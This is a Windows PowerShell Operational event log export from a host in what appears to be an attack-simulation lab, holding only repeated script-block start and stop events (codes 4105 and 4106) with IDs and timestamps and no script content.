LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648168
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648167
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648186
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648185
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648184
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648183
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648182
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648181
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648180
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648179
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648178
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648177
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648196
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648195
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648194
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648193
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648192
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648191
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648190
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648189
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648188
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648187
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648206
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648205
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648204
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648203
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648202
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648201
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648200
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648199
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648198
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648197
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648216
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648215
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648214
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648213
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648212
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648211
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648210
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648209
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648208
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648207
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648226
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648225
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648224
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648223
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648222
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648221
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648220
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648219
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648218
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648217
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648236
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648235
Keywords=None
